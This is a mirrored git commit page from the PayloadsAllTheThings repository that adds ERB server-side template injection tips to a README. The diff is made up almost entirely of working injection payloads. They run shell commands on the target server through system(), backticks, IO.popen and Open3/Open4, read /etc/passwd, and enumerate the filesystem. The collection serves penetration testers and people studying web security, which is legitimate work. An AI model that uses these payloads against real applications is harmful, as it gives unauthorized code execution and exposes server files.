wanderer/ PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-10 04:26:06 +02:00
Code Issues Releases Activity

Merge pull request #210 from meizjm3i/meizj-PayloadsAllTheThings 

Update ERB SSTI tips
This commit is contained in:
Swissky 2020-05-29 13:54:44 +02:00 committed by GitHub
parent 5323ceb37c a987b8be9f
commit 137333cef6
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
Server Side Template Injection/README.md
View File

@ -95,7 +95,13 @@ Execute code using SSTI for ERB engine.
```ruby
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
Execute code using SSTI for Slim engine.
```powershell